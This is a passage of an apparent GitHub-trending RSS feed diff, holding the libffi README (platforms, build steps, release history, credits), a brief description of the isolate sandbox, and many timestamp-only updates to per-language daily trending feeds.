<p>Compilers for high level languages generate code that follow certain conventions. These conventions are necessary, in part, for separate compilation to work. One such convention is the "calling convention". The "calling convention" is essentially a set of assumptions made by the compiler about where function arguments will be found on entry to a function. A "calling convention" also specifies where the return value for a function is found.</p>
<p>Some programs may not know at the time of compilation what arguments are to be passed to a function. For instance, an interpreter may be told at run-time about the number and types of arguments used to call a given function. Libffi can be used in such programs to provide a bridge from the interpreter program to compiled code.</p>
<p>The libffi library provides a portable, high level programming interface to various calling conventions. This allows a programmer to call any function specified by a call interface description at run time.</p>
<p>FFI stands for Foreign Function Interface. A foreign function interface is the popular name for the interface that allows code written in one language to call code written in another language. The libffi library really only provides the lowest, machine dependent layer of a fully featured foreign function interface. A layer must exist above libffi that handles type conversions for values passed between the two languages.</p>
<h1>Supported Platforms</h1>
<p>Libffi has been ported to many different platforms.</p>
<p>At the time of release, the following basic configurations have been tested:</p>
<table>
<thead>
<tr>
<th>Architecture</th>
<th>Operating System</th>
<th>Compiler</th>
</tr>
</thead>
<tbody>
<tr>
<td>AArch64 (ARM64)</td>
<td>iOS</td>
<td>Clang</td>
</tr>
<tr>
<td>AArch64</td>
<td>Linux</td>
<td>GCC</td>
</tr>
<tr>
<td>AArch64</td>
<td>Windows</td>
<td>MSVC</td>
</tr>
<tr>
<td>Alpha</td>
<td>Linux</td>
<td>GCC</td>
</tr>
<tr>
<td>Alpha</td>
<td>Tru64</td>
<td>GCC</td>
</tr>
<tr>
<td>ARC</td>
<td>Linux</td>
<td>GCC</td>
</tr>
<tr>
<td>ARC32</td>
<td>Linux</td>
<td>GCC</td>
</tr>
<tr>
<td>ARC64</td>
<td>Linux</td>
<td>GCC</td>
</tr>
<tr>
<td>ARM</td>
<td>Linux</td>
<td>GCC</td>
</tr>
<tr>
<td>ARM</td>
<td>iOS</td>
<td>GCC</td>
</tr>
<tr>
<td>ARM</td>
<td>Windows</td>
<td>MSVC</td>
</tr>
<tr>
<td>AVR32</td>
<td>Linux</td>
<td>GCC</td>
</tr>
<tr>
<td>Blackfin</td>
<td>uClinux</td>
<td>GCC</td>
</tr>
<tr>
<td>CSKY</td>
<td>Linux</td>
<td>GCC</td>
</tr>
<tr>
<td>HPPA</td>
<td>HPUX</td>
<td>GCC</td>
</tr>
<tr>
<td>HPPA64</td>
<td>HPUX</td>
<td>GCC</td>
</tr>
<tr>
<td>KVX</td>
<td>Linux</td>
<td>GCC</td>
</tr>
<tr>
<td>IA-64</td>
<td>Linux</td>
<td>GCC</td>
</tr>
<tr>
<td>LoongArch64</td>
<td>Linux</td>
<td>GCC</td>
</tr>
<tr>
<td>M68K</td>
<td>FreeMiNT</td>
<td>GCC</td>
</tr>
<tr>
<td>M68K</td>
<td>Linux</td>
<td>GCC</td>
</tr>
<tr>
<td>M68K</td>
<td>RTEMS</td>
<td>GCC</td>
</tr>
<tr>
<td>M88K</td>
<td>OpenBSD/mvme88k</td>
<td>GCC</td>
</tr>
<tr>
<td>Meta</td>
<td>Linux</td>
<td>GCC</td>
</tr>
<tr>
<td>MicroBlaze</td>
<td>Linux</td>
<td>GCC</td>
</tr>
<tr>
<td>MIPS</td>
<td>IRIX</td>
<td>GCC</td>
</tr>
<tr>
<td>MIPS</td>
<td>Linux</td>
<td>GCC</td>
</tr>
<tr>
<td>MIPS</td>
<td>RTEMS</td>
<td>GCC</td>
</tr>
<tr>
<td>MIPS64</td>
<td>Linux</td>
<td>GCC</td>
</tr>
<tr>
<td>Moxie</td>
<td>Bare metal</td>
<td>GCC</td>
</tr>
<tr>
<td>Nios II</td>
<td>Linux</td>
<td>GCC</td>
</tr>
<tr>
<td>OpenRISC</td>
<td>Linux</td>
<td>GCC</td>
</tr>
<tr>
<td>PowerPC 32-bit</td>
<td>AIX</td>
<td>GCC</td>
</tr>
<tr>
<td>PowerPC 32-bit</td>
<td>AIX</td>
<td>IBM XL C</td>
</tr>
<tr>
<td>PowerPC 64-bit</td>
<td>AIX</td>
<td>IBM XL C</td>
</tr>
<tr>
<td>PowerPC</td>
<td>AMIGA</td>
<td>GCC</td>
</tr>
<tr>
<td>PowerPC</td>
<td>Linux</td>
<td>GCC</td>
</tr>
<tr>
<td>PowerPC</td>
<td>Mac OSX</td>
<td>GCC</td>
</tr>
<tr>
<td>PowerPC</td>
<td>FreeBSD</td>
<td>GCC</td>
</tr>
<tr>
<td>PowerPC 64-bit</td>
<td>FreeBSD</td>
<td>GCC</td>
</tr>
<tr>
<td>PowerPC 64-bit</td>
<td>Linux ELFv1</td>
<td>GCC</td>
</tr>
<tr>
<td>PowerPC 64-bit</td>
<td>Linux ELFv2</td>
<td>GCC</td>
</tr>
<tr>
<td>RISC-V 32-bit</td>
<td>Linux</td>
<td>GCC</td>
</tr>
<tr>
<td>RISC-V 64-bit</td>
<td>Linux</td>
<td>GCC</td>
</tr>
<tr>
<td>S390</td>
<td>Linux</td>
<td>GCC</td>
</tr>
<tr>
<td>S390X</td>
<td>Linux</td>
<td>GCC</td>
</tr>
<tr>
<td>SPARC</td>
<td>Linux</td>
<td>GCC</td>
</tr>
<tr>
<td>SPARC</td>
<td>Solaris</td>
<td>GCC</td>
</tr>
<tr>
<td>SPARC</td>
<td>Solaris</td>
<td>Oracle Solaris Studio C</td>
</tr>
<tr>
<td>SPARC64</td>
<td>Linux</td>
<td>GCC</td>
</tr>
<tr>
<td>SPARC64</td>
<td>FreeBSD</td>
<td>GCC</td>
</tr>
<tr>
<td>SPARC64</td>
<td>Solaris</td>
<td>Oracle Solaris Studio C</td>
</tr>
<tr>
<td>TILE-Gx/TILEPro</td>
<td>Linux</td>
<td>GCC</td>
</tr>
<tr>
<td>VAX</td>
<td>OpenBSD/vax</td>
<td>GCC</td>
</tr>
<tr>
<td>WASM32</td>
<td>Emscripten</td>
<td>EMCC</td>
</tr>
<tr>
<td>X86</td>
<td>FreeBSD</td>
<td>GCC</td>
</tr>
<tr>
<td>X86</td>
<td>GNU HURD</td>
<td>GCC</td>
</tr>
<tr>
<td>X86</td>
<td>Interix</td>
<td>GCC</td>
</tr>
<tr>
<td>X86</td>
<td>kFreeBSD</td>
<td>GCC</td>
</tr>
<tr>
<td>X86</td>
<td>Linux</td>
<td>GCC</td>
</tr>
<tr>
<td>X86</td>
<td>OpenBSD</td>
<td>GCC</td>
</tr>
<tr>
<td>X86</td>
<td>OS/2</td>
<td>GCC</td>
</tr>
<tr>
<td>X86</td>
<td>Solaris</td>
<td>GCC</td>
</tr>
<tr>
<td>X86</td>
<td>Solaris</td>
<td>Oracle Solaris Studio C</td>
</tr>
<tr>
<td>X86</td>
<td>Windows/Cygwin</td>
<td>GCC</td>
</tr>
<tr>
<td>X86</td>
<td>Windows/MinGW</td>
<td>GCC</td>
</tr>
<tr>
<td>X86-64</td>
<td>FreeBSD</td>
<td>GCC</td>
</tr>
<tr>
<td>X86-64</td>
<td>Linux</td>
<td>GCC</td>
</tr>
<tr>
<td>X86-64</td>
<td>Linux/x32</td>
<td>GCC</td>
</tr>
<tr>
<td>X86-64</td>
<td>OpenBSD</td>
<td>GCC</td>
</tr>
<tr>
<td>X86-64</td>
<td>Solaris</td>
<td>Oracle Solaris Studio C</td>
</tr>
<tr>
<td>X86-64</td>
<td>Windows/Cygwin</td>
<td>GCC</td>
</tr>
<tr>
<td>X86-64</td>
<td>Windows/MinGW</td>
<td>GCC</td>
</tr>
<tr>
<td>X86-64</td>
<td>Mac OSX</td>
<td>GCC</td>
</tr>
<tr>
<td>Xtensa</td>
<td>Linux</td>
<td>GCC</td>
</tr>
</tbody>
</table>
<p>Please send additional platform test results to <a href="mailto:libffi-discuss@sourceware.org">libffi-discuss@sourceware.org</a>.</p>
<h1>Installing libffi</h1>
<p>First you must configure the distribution for your particular system. Go to the directory you wish to build libffi in and run the "configure" program found in the root directory of the libffi source distribution. Note that building libffi requires a C99 compatible compiler.</p>
<p>If you're building libffi directly from git hosted sources, configure won't exist yet; run ./autogen.sh first. This will require that you install autoconf, automake and libtool.</p>
<p>You may want to tell configure where to install the libffi library and header files. To do that, use the <code>--prefix</code> configure switch. Libffi will install under /usr/local by default.</p>
<p>If you want to enable extra run-time debugging checks use the the <code>--enable-debug</code> configure switch. This is useful when your program dies mysteriously while using libffi.</p>
<p>Another useful configure switch is <code>--enable-purify-safety</code>. Using this will add some extra code which will suppress certain warnings when you are using Purify with libffi. Only use this switch when using Purify, as it will slow down the library.</p>
<p>If you don't want to build documentation, use the <code>--disable-docs</code> configure switch.</p>
<p>It's also possible to build libffi on Windows platforms with Microsoft's Visual C++ compiler. In this case, use the msvcc.sh wrapper script during configuration like so:</p>
<pre><code>path/to/configure CC=path/to/msvcc.sh CXX=path/to/msvcc.sh LD=link CPP="cl -nologo -EP" CPPFLAGS="-DFFI_BUILDING_DLL"
</code></pre>
<p>For 64-bit Windows builds, use <code>CC="path/to/msvcc.sh -m64"</code> and <code>CXX="path/to/msvcc.sh -m64"</code>. You may also need to specify <code>--build</code> appropriately.</p>
<p>It is also possible to build libffi on Windows platforms with the LLVM project's clang-cl compiler, like below:</p>
<pre><code>path/to/configure CC="path/to/msvcc.sh -clang-cl" CXX="path/to/msvcc.sh -clang-cl" LD=link CPP="clang-cl -EP"
</code></pre>
<p>When building with MSVC under a MingW environment, you may need to remove the line in configure that sets 'fix_srcfile_path' to a 'cygpath' command. ('cygpath' is not present in MingW, and is not required when using MingW-style paths.)</p>
<p>To build static library for ARM64 with MSVC using visual studio solution, msvc_build folder have aarch64/Ffi_staticLib.sln required header files in aarch64/aarch64_include/</p>
<p>SPARC Solaris builds require the use of the GNU assembler and linker. Point <code>AS</code> and <code>LD</code> environment variables at those tool prior to configuration.</p>
<p>For iOS builds, the <code>libffi.xcodeproj</code> Xcode project is available.</p>
<p>Configure has many other options. Use <code>configure --help</code> to see them all.</p>
<p>Once configure has finished, type "make". Note that you must be using GNU make. You can ftp GNU make from ftp.gnu.org:/pub/gnu/make .</p>
<p>To ensure that libffi is working as advertised, type "make check". This will require that you have DejaGNU installed.</p>
<p>To install the library and header files, type <code>make install</code>.</p>
<h1>History</h1>
<p>See the git log for details at <a href="http://github.com/libffi/libffi">http://github.com/libffi/libffi</a>.</p>
<pre><code>TBD - TBD
Add support for wasm32.
Add support for aarch64 branch target identification (bti).
Add support for ARCv3: ARC32 & ARC64.
Add support for HPPA64, and many HPPA fixes.
Fixes for AIX, sparc64, and x86 Darwin fixes.
3.4.4 Oct-23-2022
Important aarch64 fixes, including support for linux builds
with Link Time Optimization (-flto).
Fix x86 stdcall stack alignment.
Fix x86 Windows msvc assembler compatibility.
Fix moxie and or1k small structure args.
3.4.3 Sep-19-2022
All struct args are passed by value, regardless of size, as per ABIs.
Enable static trampolines for Cygwin.
Add support for Loongson's LoongArch64 architecture.
Fix x32 static trampolines.
Fix 32-bit x86 stdcall stack corruption.
Fix ILP32 aarch64 support.
3.4.2 Jun-28-2021
Add static trampoline support for Linux on x86_64 and ARM64.
Add support for Alibaba's CSKY architecture.
Add support for Kalray's KVX architecture.
Add support for Intel Control-flow Enforcement Technology (CET).
Add support for ARM Pointer Authentication (PA).
Fix 32-bit PPC regression.
Fix MIPS soft-float problem.
Enable tmpdir override with the $LIBFFI_TMPDIR environment variable.
Enable compatibility with MSVC runtime stack checking.
Reject float and small integer argument in ffi_prep_cif_var().
Callers must promote these types themselves.
3.3 Nov-23-2019
Add RISC-V support.
New API in support of GO closures.
Add IEEE754 binary128 long double support for 64-bit Power
Default to Microsoft's 64 bit long double ABI with Visual C++.
GNU compiler uses 80 bits (128 in memory) FFI_GNUW64 ABI.
Add Windows on ARM64 (WOA) support.
Add Windows 32-bit ARM support.
Raw java (gcj) API deprecated.
Add pre-built PDF documentation to source distribution.
Many new test cases and bug fixes.
3.2.1 Nov-12-2014
Build fix for non-iOS AArch64 targets.
3.2 Nov-11-2014
Add C99 Complex Type support (currently only supported on
s390).
Add support for PASCAL and REGISTER calling conventions on x86
Windows/Linux.
Add OpenRISC and Cygwin-64 support.
Bug fixes.
3.1 May-19-2014
Add AArch64 (ARM64) iOS support.
Add Nios II support.
Add m88k and DEC VAX support.
Add support for stdcall, thiscall, and fastcall on non-Windows
32-bit x86 targets such as Linux.
Various Android, MIPS N32, x86, FreeBSD and UltraSPARC IIi
fixes.
Make the testsuite more robust: eliminate several spurious
failures, and respect the $CC and $CXX environment variables.
Archive off the manually maintained ChangeLog in favor of git
log.
3.0.13 Mar-17-2013
Add Meta support.
Add missing Moxie bits.
Fix stack alignment bug on 32-bit x86.
Build fix for m68000 targets.
Build fix for soft-float Power targets.
Fix the install dir location for some platforms when building
with GCC (OS X, Solaris).
Fix Cygwin regression.
3.0.12 Feb-11-2013
Add Moxie support.
Add AArch64 support.
Add Blackfin support.
Add TILE-Gx/TILEPro support.
Add MicroBlaze support.
Add Xtensa support.
Add support for PaX enabled kernels with MPROTECT.
Add support for native vendor compilers on
Solaris and AIX.
Work around LLVM/GCC interoperability issue on x86_64.
3.0.11 Apr-11-2012
Lots of build fixes.
Add support for variadic functions (ffi_prep_cif_var).
Add Linux/x32 support.
Add thiscall, fastcall and MSVC cdecl support on Windows.
Add Amiga and newer MacOS support.
Add m68k FreeMiNT support.
Integration with iOS' xcode build tools.
Fix Octeon and MC68881 support.
Fix code pessimizations.
3.0.10 Aug-23-2011
Add support for Apple's iOS.
Add support for ARM VFP ABI.
Add RTEMS support for MIPS and M68K.
Fix instruction cache clearing problems on
ARM and SPARC.
Fix the N64 build on mips-sgi-irix6.5.
Enable builds with Microsoft's compiler.
Enable x86 builds with Oracle's Solaris compiler.
Fix support for calling code compiled with Oracle's Sparc
Solaris compiler.
Testsuite fixes for Tru64 Unix.
Additional platform support.
3.0.9 Dec-31-2009
Add AVR32 and win64 ports. Add ARM softfp support.
Many fixes for AIX, Solaris, HP-UX, *BSD.
Several PowerPC and x86-64 bug fixes.
Build DLL for windows.
3.0.8 Dec-19-2008
Add *BSD, BeOS, and PA-Linux support.
3.0.7 Nov-11-2008
Fix for ppc FreeBSD.
(thanks to Andreas Tobler)
3.0.6 Jul-17-2008
Fix for closures on sh.
Mark the sh/sh64 stack as non-executable.
(both thanks to Kaz Kojima)
3.0.5 Apr-3-2008
Fix libffi.pc file.
Fix #define ARM for IcedTea users.
Fix x86 closure bug.
3.0.4 Feb-24-2008
Fix x86 OpenBSD configury.
3.0.3 Feb-22-2008
Enable x86 OpenBSD thanks to Thomas Heller, and
x86-64 FreeBSD thanks to Bjรถrn Kรถnig and Andreas Tobler.
Clean up test instruction in README.
3.0.2 Feb-21-2008
Improved x86 FreeBSD support.
Thanks to Bjรถrn Kรถnig.
3.0.1 Feb-15-2008
Fix instruction cache flushing bug on MIPS.
Thanks to David Daney.
3.0.0 Feb-15-2008
Many changes, mostly thanks to the GCC project.
Cygnus Solutions is now Red Hat.
[10 years go by...]
1.20 Oct-5-1998
Raffaele Sena produces ARM port.
1.19 Oct-5-1998
Fixed x86 long double and long long return support.
m68k bug fixes from Andreas Schwab.
Patch for DU assembler compatibility for the Alpha from Richard
Henderson.
1.18 Apr-17-1998
Bug fixes and MIPS configuration changes.
1.17 Feb-24-1998
Bug fixes and m68k port from Andreas Schwab. PowerPC port from
Geoffrey Keating. Various bug x86, Sparc and MIPS bug fixes.
1.16 Feb-11-1998
Richard Henderson produces Alpha port.
1.15 Dec-4-1997
Fixed an n32 ABI bug. New libtool, auto* support.
1.14 May-13-97
libtool is now used to generate shared and static libraries.
Fixed a minor portability problem reported by Russ McManus
<mcmanr@eq.gs.com>.
1.13 Dec-2-1996
Added --enable-purify-safety to keep Purify from complaining
about certain low level code.
Sparc fix for calling functions with < 6 args.
Linux x86 a.out fix.
1.12 Nov-22-1996
Added missing ffi_type_void, needed for supporting void return
types. Fixed test case for non MIPS machines. Cygnus Support
is now Cygnus Solutions.
1.11 Oct-30-1996
Added notes about GNU make.
1.10 Oct-29-1996
Added configuration fix for non GNU compilers.
1.09 Oct-29-1996
Added --enable-debug configure switch. Clean-ups based on LCLint
feedback. ffi_mips.h is always installed. Many configuration
fixes. Fixed ffitest.c for sparc builds.
1.08 Oct-15-1996
Fixed n32 problem. Many clean-ups.
1.07 Oct-14-1996
Gordon Irlam rewrites v8.S again. Bug fixes.
1.06 Oct-14-1996
Gordon Irlam improved the sparc port.
1.05 Oct-14-1996
Interface changes based on feedback.
1.04 Oct-11-1996
Sparc port complete (modulo struct passing bug).
1.03 Oct-10-1996
Passing struct args, and returning struct values works for
all architectures/calling conventions. Expanded tests.
1.02 Oct-9-1996
Added SGI n32 support. Fixed bugs in both o32 and Linux support.
Added "make test".
1.01 Oct-8-1996
Fixed float passing bug in mips version. Restructured some
of the code. Builds cleanly with SGI tools.
1.00 Oct-7-1996
First release. No public announcement.
</code></pre>
<h1>Authors & Credits</h1>
<p>libffi was originally written by Anthony Green <a href="mailto:green@moxielogic.com">green@moxielogic.com</a>.</p>
<p>The developers of the GNU Compiler Collection project have made innumerable valuable contributions. See the ChangeLog file for details.</p>
<p>Some of the ideas behind libffi were inspired by Gianni Mariani's free gencall library for Silicon Graphics machines.</p>
<p>The closure mechanism was designed and implemented by Kresten Krab Thorup.</p>
<p>Major processor architecture ports were contributed by the following developers:</p>
<pre><code>aarch64 Marcus Shawcroft, James Greenhalgh
alpha Richard Henderson
arc Hackers at Synopsis
arm Raffaele Sena
avr32 Bradley Smith
blackfin Alexandre Keunecke I. de Mendonca
cris Simon Posnjak, Hans-Peter Nilsson
csky Ma Jun, Zhang Wenmeng
frv Anthony Green
ia64 Hans Boehm
kvx Yann Sionneau
loongarch64 Cheng Lulu, Xi Ruoyao, Xu Hao,
Zhang Wenlong, Pan Xuefeng
m32r Kazuhiro Inaoka
m68k Andreas Schwab
m88k Miod Vallat
metag Hackers at Imagination Technologies
microblaze Nathan Rossi
mips Anthony Green, Casey Marshall
mips64 David Daney
moxie Anthony Green
nios ii Sandra Loosemore
openrisc Sebastian Macke
pa Randolph Chung, Dave Anglin, Andreas Tobler
pa64 Dave Anglin
powerpc Geoffrey Keating, Andreas Tobler,
David Edelsohn, John Hornkvist
powerpc64 Jakub Jelinek
riscv Michael Knyszek, Andrew Waterman, Stef O'Rear
s390 Gerhard Tonn, Ulrich Weigand
sh Kaz Kojima
sh64 Kaz Kojima
sparc Anthony Green, Gordon Irlam
tile-gx/tilepro Walter Lee
vax Miod Vallat
wasm32 Hood Chatham, Brion Vibber, Kleis Auke Wolthuizen
x86 Anthony Green, Jon Beniston
x86-64 Bo Thorsen
xtensa Chris Zankel
</code></pre>
<p>Jesper Skov and Andrew Haley both did more than their fair share of stepping through the code and tracking down bugs.</p>
<p>Thanks also to Tom Tromey for bug fixes, documentation and configuration help.</p>
<p>Thanks to Jim Blandy, who provided some useful feedback on the libffi interface.</p>
<p>Andreas Tobler has done a tremendous amount of work on the testsuite.</p>
<p>Alex Oliva solved the executable page problem for SElinux.</p>
<p>The list above is almost certainly incomplete and inaccurate. I'm happy to make corrections or additions upon request.</p>
<p>If you have a problem, or have found a bug, please file an issue on our issue tracker at <a href="https://github.com/libffi/libffi/issues">https://github.com/libffi/libffi/issues</a>.</p>
<p>The author can be reached at <a href="mailto:green@moxielogic.com">green@moxielogic.com</a>.</p>
<p>To subscribe/unsubscribe to our mailing lists, visit: <a href="https://sourceware.org/mailman/listinfo/libffi-announce">https://sourceware.org/mailman/listinfo/libffi-announce</a> <a href="https://sourceware.org/mailman/listinfo/libffi-discuss">https://sourceware.org/mailman/listinfo/libffi-discuss</a></p>
+
+
+ ioi/isolate
+ 2024-01-04T01:26:56Z
+ tag:github.com,2024-01-04:/ioi/isolate
+
+ <p>Sandbox for securely executing untrusted programs</p><hr><h1>isolate</h1>
<p>Isolate is a sandbox built to safely run untrusted executables, offering them a limited-access environment and preventing them from affecting the host system. It takes advantage of features specific to the Linux kernel, like namespaces and control groups.</p>
<p>Isolate was developed by Martin Mareลก (<a href="mailto:mj@ucw.cz">mj@ucw.cz</a>) and Bernard Blackham (<a href="mailto:bernard@blackham.com.au">bernard@blackham.com.au</a>), who still maintain it. Several other people contributed patches for features and bug fixes (see Git history for a list). Thanks!</p>
<p>Originally, Isolate was a part of the <a href="http://www.ucw.cz/moe/">Moe Contest Environment</a>, but it evolved to a separate project used by different contest systems, most prominently <a href="https://github.com/cms-dev/cms">CMS</a>. It now lives at <a href="https://github.com/ioi/isolate">GitHub</a>, where you can submit bug reports and feature requests.</p>
<p>If you are interested in more details, please read Martin's and Bernard's <a href="http://mj.ucw.cz/papers/isolate.pdf">paper</a> presented at the IOI Conference. Also, Isolate's <a href="http://www.ucw.cz/moe/isolate.1.html">manual page</a> is available online.</p>
<p>To compile Isolate, you need the headers for the libcap library (usually available in a libcap-dev package).</p>
<p>You may need <code>a2x</code> (found in <a href="https://asciidoc-py.github.io/a2x.1.html">AsciiDoc</a>) for building manual. But if you only want the isolate binary, you can just run <code>make isolate</code></p>
\ No newline at end of file
diff --git a/c2hs-haskell/daily/index.xml b/c2hs-haskell/daily/index.xml
index 05f0f6e2fea..2469a29d5c1 100644
--- a/c2hs-haskell/daily/index.xml
+++ b/c2hs-haskell/daily/index.xml
@@ -1,7 +1,7 @@
GitHub C2hs Haskell Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:43Z
+ 2024-01-04T01:27:04ZDaily Trending of C2hs Haskell in GitHub
\ No newline at end of file
diff --git a/cabal-config/daily/index.xml b/cabal-config/daily/index.xml
index de9839e9f92..80101b39ba0 100644
--- a/cabal-config/daily/index.xml
+++ b/cabal-config/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Cabal Config Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:41Z
+ 2024-01-04T01:27:05ZDaily Trending of Cabal Config in GitHub
\ No newline at end of file
diff --git a/cadence/daily/index.xml b/cadence/daily/index.xml
index 5bf34db6879..8eef3567bf9 100644
--- a/cadence/daily/index.xml
+++ b/cadence/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Cadence Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:51Z
+ 2024-01-04T01:27:18ZDaily Trending of Cadence in GitHub
\ No newline at end of file
diff --git a/cairo/daily/index.xml b/cairo/daily/index.xml
index 5a5e671faa3..8875beb0819 100644
--- a/cairo/daily/index.xml
+++ b/cairo/daily/index.xml
@@ -1,7 +1,14 @@
GitHub Cairo Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:53Z
+ 2024-01-04T01:27:20ZDaily Trending of Cairo in GitHub
+
+ estheroche/Starknet-Staking-Dapp
+ 2024-01-04T01:27:20Z
+ tag:github.com,2024-01-04:/estheroche/Starknet-Staking-Dapp
+
+ <p></p><hr>
+
\ No newline at end of file
diff --git a/cap'n-proto/daily/index.xml b/cap'n-proto/daily/index.xml
index 8d88f70e9da..a8a5799c885 100644
--- a/cap'n-proto/daily/index.xml
+++ b/cap'n-proto/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Cap'n Proto Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:55Z
+ 2024-01-04T01:27:23ZDaily Trending of Cap'n Proto in GitHub
\ No newline at end of file
diff --git a/cartocss/daily/index.xml b/cartocss/daily/index.xml
index 88d649feffb..0cd4c0612d9 100644
--- a/cartocss/daily/index.xml
+++ b/cartocss/daily/index.xml
@@ -1,7 +1,7 @@
GitHub CartoCSS Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:55Z
+ 2024-01-04T01:27:22ZDaily Trending of CartoCSS in GitHub
\ No newline at end of file
diff --git a/ceylon/daily/index.xml b/ceylon/daily/index.xml
index 8e8d713fb08..de21acb7b96 100644
--- a/ceylon/daily/index.xml
+++ b/ceylon/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Ceylon Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:56Z
+ 2024-01-04T01:27:21ZDaily Trending of Ceylon in GitHub
\ No newline at end of file
diff --git a/chapel/daily/index.xml b/chapel/daily/index.xml
index b49d709443c..c36c95252a0 100644
--- a/chapel/daily/index.xml
+++ b/chapel/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Chapel Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:57Z
+ 2024-01-04T01:27:22ZDaily Trending of Chapel in GitHub
\ No newline at end of file
diff --git a/charity/daily/index.xml b/charity/daily/index.xml
index ed46f5c31b1..62fd45a4495 100644
--- a/charity/daily/index.xml
+++ b/charity/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Charity Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:00Z
+ 2024-01-04T01:27:26ZDaily Trending of Charity in GitHub
\ No newline at end of file
diff --git a/chuck/daily/index.xml b/chuck/daily/index.xml
index c57f824051b..5b73b1bd64a 100644
--- a/chuck/daily/index.xml
+++ b/chuck/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ChucK Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:59Z
+ 2024-01-04T01:27:25ZDaily Trending of ChucK in GitHub
\ No newline at end of file
diff --git a/cil/daily/index.xml b/cil/daily/index.xml
index 5440444051b..51792fa5a4a 100644
--- a/cil/daily/index.xml
+++ b/cil/daily/index.xml
@@ -1,7 +1,7 @@
GitHub CIL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:58Z
+ 2024-01-04T01:27:27ZDaily Trending of CIL in GitHub
\ No newline at end of file
diff --git a/cirru/daily/index.xml b/cirru/daily/index.xml
index fc1c877e26f..6db47fe6db2 100644
--- a/cirru/daily/index.xml
+++ b/cirru/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Cirru Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:03Z
+ 2024-01-04T01:27:29ZDaily Trending of Cirru in GitHub
\ No newline at end of file
diff --git a/clarion/daily/index.xml b/clarion/daily/index.xml
index 5afe8a39216..0e18c4d7c57 100644
--- a/clarion/daily/index.xml
+++ b/clarion/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Clarion Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:02Z
+ 2024-01-04T01:27:28ZDaily Trending of Clarion in GitHub
\ No newline at end of file
diff --git a/clarity/daily/index.xml b/clarity/daily/index.xml
index fbfce3e0e9e..f5321de63b5 100644
--- a/clarity/daily/index.xml
+++ b/clarity/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Clarity Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:02Z
+ 2024-01-04T01:27:30ZDaily Trending of Clarity in GitHub
\ No newline at end of file
diff --git a/classic-asp/daily/index.xml b/classic-asp/daily/index.xml
index 1733c497bdb..9a925ef964c 100644
--- a/classic-asp/daily/index.xml
+++ b/classic-asp/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Classic ASP Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:04Z
+ 2024-01-04T01:27:32ZDaily Trending of Classic ASP in GitHub
\ No newline at end of file
diff --git a/clean/daily/index.xml b/clean/daily/index.xml
index cbde19fc05a..98a2bf6e190 100644
--- a/clean/daily/index.xml
+++ b/clean/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Clean Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:06Z
+ 2024-01-04T01:27:33ZDaily Trending of Clean in GitHub
\ No newline at end of file
diff --git a/click/daily/index.xml b/click/daily/index.xml
index b46c79ea3a4..89a29fe357d 100644
--- a/click/daily/index.xml
+++ b/click/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Click Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:05Z
+ 2024-01-04T01:27:33ZDaily Trending of Click in GitHub
\ No newline at end of file
diff --git a/clips/daily/index.xml b/clips/daily/index.xml
index 4702e9789ae..5ba19c436a2 100644
--- a/clips/daily/index.xml
+++ b/clips/daily/index.xml
@@ -1,7 +1,7 @@
GitHub CLIPS Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:06Z
+ 2024-01-04T01:27:34ZDaily Trending of CLIPS in GitHub
\ No newline at end of file
diff --git a/clojure/daily/index.xml b/clojure/daily/index.xml
index f2c730dcc2a..cec476fc7f6 100644
--- a/clojure/daily/index.xml
+++ b/clojure/daily/index.xml
@@ -1,7 +1,14 @@
GitHub Clojure Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:12Z
+ 2024-01-04T01:27:38ZDaily Trending of Clojure in GitHub
+
+ brunokim/complej
+ 2024-01-04T01:27:38Z
+ tag:github.com,2024-01-04:/brunokim/complej
+
+ <p>Complex networks library written in Clojure</p><hr>
+
\ No newline at end of file
diff --git a/closure-templates/daily/index.xml b/closure-templates/daily/index.xml
index 522ab874ebb..5d2bd7416cf 100644
--- a/closure-templates/daily/index.xml
+++ b/closure-templates/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Closure Templates Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:08Z
+ 2024-01-04T01:27:36ZDaily Trending of Closure Templates in GitHub
\ No newline at end of file
diff --git a/cloud-firestore-security-rules/daily/index.xml b/cloud-firestore-security-rules/daily/index.xml
index 108b34eeb67..79ff54e431c 100644
--- a/cloud-firestore-security-rules/daily/index.xml
+++ b/cloud-firestore-security-rules/daily/index.xml
@@ -1,7 +1,7 @@
